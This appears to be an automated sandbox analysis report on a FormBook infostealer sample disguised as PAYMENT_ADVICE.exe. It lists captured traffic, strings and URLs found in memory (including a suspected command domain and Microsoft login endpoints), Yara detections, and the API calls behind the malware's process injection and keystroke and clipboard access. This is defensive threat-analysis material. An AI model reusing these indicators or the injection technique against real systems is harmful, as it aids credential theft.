><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Nov 2024 09:21:36 GMTServer: ApacheContent-Length: 514Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 72 65 64 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 2d 73 6b 65 74 63 68 20 62 6c 75 65 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 68 31 3e 34 30 34 3a 0a 09 3c 73 6d 61 6c 6c 3e 50 6c 61 79 65 72 73 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 6d 61 6c 6c 3e 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 20 2d 2d 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body><!-- partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div><!-- partial --> </body></html>
                Source: UaxTqwGUmcKB.exe, 00000007.00000002.3886149393.0000000000E95000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.smartguide.website
                Source: UaxTqwGUmcKB.exe, 00000007.00000002.3886149393.0000000000E95000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.smartguide.website/idns/
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: powercfg.exe, 00000006.00000002.3887180390.000000000418C000.00000004.10000000.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000002.3886865005.00000000038BC000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://browsehappy.com/
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: powercfg.exe, 00000006.00000002.3888646462.0000000006020000.00000004.00000800.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3887180390.0000000003FFA000.00000004.10000000.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000002.3886865005.000000000372A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://joker.com/?pk_campaign=Parking&pk_kwd=text
                Source: powercfg.exe, 00000006.00000002.3888646462.0000000006020000.00000004.00000800.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3887180390.0000000003E68000.00000004.10000000.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000002.3886865005.0000000003598000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
                Source: powercfg.exe, 00000006.00000002.3885733273.0000000002A6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: powercfg.exe, 00000006.00000002.3885733273.0000000002A6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: powercfg.exe, 00000006.00000002.3885733273.0000000002A6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: powercfg.exe, 00000006.00000002.3885733273.0000000002A6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033T
                Source: powercfg.exe, 00000006.00000002.3885733273.0000000002A6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: powercfg.exe, 00000006.00000002.3885733273.0000000002A6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: powercfg.exe, 00000006.00000003.2773752602.0000000007A47000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: powercfg.exe, 00000006.00000003.2779948608.0000000007B28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003B4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_003B4164
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003B4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_003B4164
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003B3F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_003B3F66
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_003A001C
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003CCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_003CCABC

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.2593190427.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3886512221.0000000003B90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3885564363.0000000002750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2592700767.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3886510200.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.3886149393.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3886566452.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2592496169.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: This is a third-party compiled AutoIt script.0_2_00343B3A
                Source: PAYMENT_ADVICE.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: PAYMENT_ADVICE.exe, 00000000.00000000.2036458937.00000000003F4000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_280c8765-b
                Source: PAYMENT_ADVICE.exe, 00000000.00000000.2036458937.00000000003F4000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_89af4ff5-3
                Source: PAYMENT_ADVICE.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_e11ece93-6
                Source: PAYMENT_ADVICE.exeString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_a3b79016-d
                Initial sample is a PE file and has a suspicious name
                Source: initial sampleStatic PE information: Filename: PAYMENT_ADVICE.exe
                Uses powercfg.exe to modify the power settings
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeProcess created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042CD33 NtClose,2_2_0042CD33
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872B60 NtClose,LdrInitializeThunk,2_2_03872B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03872DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038735C0 NtCreateMutant,LdrInitializeThunk,2_2_038735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03874340 NtSetContextThread,2_2_03874340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03874650 NtSuspendThread,2_2_03874650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872B80 NtQueryInformationFile,2_2_03872B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872BA0 NtEnumerateValueKey,2_2_03872BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872BE0 NtQueryValueKey,2_2_03872BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872BF0 NtAllocateVirtualMemory,2_2_03872BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872AB0 NtWaitForSingleObject,2_2_03872AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872AD0 NtReadFile,2_2_03872AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872AF0 NtWriteFile,2_2_03872AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872F90 NtProtectVirtualMemory,2_2_03872F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872FA0 NtQuerySection,2_2_03872FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872FB0 NtResumeThread,2_2_03872FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872FE0 NtCreateFile,2_2_03872FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872F30 NtCreateSection,2_2_03872F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872F60 NtCreateProcessEx,2_2_03872F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872E80 NtReadVirtualMemory,2_2_03872E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872EA0 NtAdjustPrivilegesToken,2_2_03872EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872EE0 NtQueueApcThread,2_2_03872EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872E30 NtWriteVirtualMemory,2_2_03872E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872DB0 NtEnumerateKey,2_2_03872DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872DD0 NtDelayExecution,2_2_03872DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872D00 NtSetInformationFile,2_2_03872D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872D10 NtMapViewOfSection,2_2_03872D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872D30 NtUnmapViewOfSection,2_2_03872D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872CA0 NtQueryInformationToken,2_2_03872CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872CC0 NtQueryVirtualMemory,2_2_03872CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872CF0 NtOpenProcess,2_2_03872CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872C00 NtQueryInformationProcess,2_2_03872C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872C60 NtCreateKey,2_2_03872C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872C70 NtFreeVirtualMemory,2_2_03872C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03873090 NtSetValueKey,2_2_03873090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03873010 NtOpenDirectoryObject,2_2_03873010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038739B0 NtGetContextThread,2_2_038739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03873D10 NtOpenProcessToken,2_2_03873D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03873D70 NtOpenThread,2_2_03873D70
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A4340 NtSetContextThread,LdrInitializeThunk,6_2_031A4340
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A4650 NtSuspendThread,LdrInitializeThunk,6_2_031A4650
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2B60 NtClose,LdrInitializeThunk,6_2_031A2B60
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2BA0 NtEnumerateValueKey,LdrInitializeThunk,6_2_031A2BA0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,6_2_031A2BF0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2BE0 NtQueryValueKey,LdrInitializeThunk,6_2_031A2BE0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2AD0 NtReadFile,LdrInitializeThunk,6_2_031A2AD0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2AF0 NtWriteFile,LdrInitializeThunk,6_2_031A2AF0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2F30 NtCreateSection,LdrInitializeThunk,6_2_031A2F30
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2FB0 NtResumeThread,LdrInitializeThunk,6_2_031A2FB0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2FE0 NtCreateFile,LdrInitializeThunk,6_2_031A2FE0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2E80 NtReadVirtualMemory,LdrInitializeThunk,6_2_031A2E80
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2EE0 NtQueueApcThread,LdrInitializeThunk,6_2_031A2EE0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2D10 NtMapViewOfSection,LdrInitializeThunk,6_2_031A2D10
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2D30 NtUnmapViewOfSection,LdrInitializeThunk,6_2_031A2D30
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2DD0 NtDelayExecution,LdrInitializeThunk,6_2_031A2DD0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_031A2DF0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2C70 NtFreeVirtualMemory,LdrInitializeThunk,6_2_031A2C70
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2C60 NtCreateKey,LdrInitializeThunk,6_2_031A2C60
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2CA0 NtQueryInformationToken,LdrInitializeThunk,6_2_031A2CA0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A35C0 NtCreateMutant,LdrInitializeThunk,6_2_031A35C0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A39B0 NtGetContextThread,LdrInitializeThunk,6_2_031A39B0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2B80 NtQueryInformationFile,6_2_031A2B80
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2AB0 NtWaitForSingleObject,6_2_031A2AB0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2F60 NtCreateProcessEx,6_2_031A2F60
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2F90 NtProtectVirtualMemory,6_2_031A2F90
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2FA0 NtQuerySection,6_2_031A2FA0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2E30 NtWriteVirtualMemory,6_2_031A2E30
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2EA0 NtAdjustPrivilegesToken,6_2_031A2EA0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2D00 NtSetInformationFile,6_2_031A2D00
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2DB0 NtEnumerateKey,6_2_031A2DB0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2C00 NtQueryInformationProcess,6_2_031A2C00
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2CC0 NtQueryVirtualMemory,6_2_031A2CC0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A2CF0 NtOpenProcess,6_2_031A2CF0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A3010 NtOpenDirectoryObject,6_2_031A3010
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A3090 NtSetValueKey,6_2_031A3090
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A3D10 NtOpenProcessToken,6_2_031A3D10
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A3D70 NtOpenThread,6_2_031A3D70
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_02779630 NtReadFile,6_2_02779630
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_02779720 NtDeleteFile,6_2_02779720
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_027797C0 NtClose,6_2_027797C0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_027794C0 NtCreateFile,6_2_027794C0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_02779920 NtAllocateVirtualMemory,6_2_02779920
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AA1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_003AA1EF
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00398310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00398310
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_003A51BD
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0034E6A00_2_0034E6A0
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0036D9750_2_0036D975
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003621C50_2_003621C5
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003762D20_2_003762D2
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003C03DA0_2_003C03DA
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0037242E0_2_0037242E
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003625FA0_2_003625FA
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0039E6160_2_0039E616
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003566E10_2_003566E1
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0037878F0_2_0037878F
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003588080_2_00358808
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003C08570_2_003C0857
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003768440_2_00376844
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A88890_2_003A8889
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0036CB210_2_0036CB21
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00376DB60_2_00376DB6
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00356F9E0_2_00356F9E
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003530300_2_00353030
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003631870_2_00363187
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0036F1D90_2_0036F1D9
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003412870_2_00341287
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003614840_2_00361484
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003555200_2_00355520
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003676960_2_00367696
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003557600_2_00355760
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003619780_2_00361978
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00379AB50_2_00379AB5
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0034FCE00_2_0034FCE0
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0036BDA60_2_0036BDA6
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00361D900_2_00361D90
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003C7DDB0_2_003C7DDB
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0034DF000_2_0034DF00
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00353FE00_2_00353FE0
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00D936200_2_00D93620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418D532_2_00418D53
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E8EA2_2_0040E8EA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E8F32_2_0040E8F3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E93C2_2_0040E93C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004011802_2_00401180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004029A02_2_004029A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004032F02_2_004032F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042F3632_2_0042F363
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041057A2_2_0041057A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004105832_2_00410583
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004026B02_2_004026B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416F432_2_00416F43
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004107A32_2_004107A3
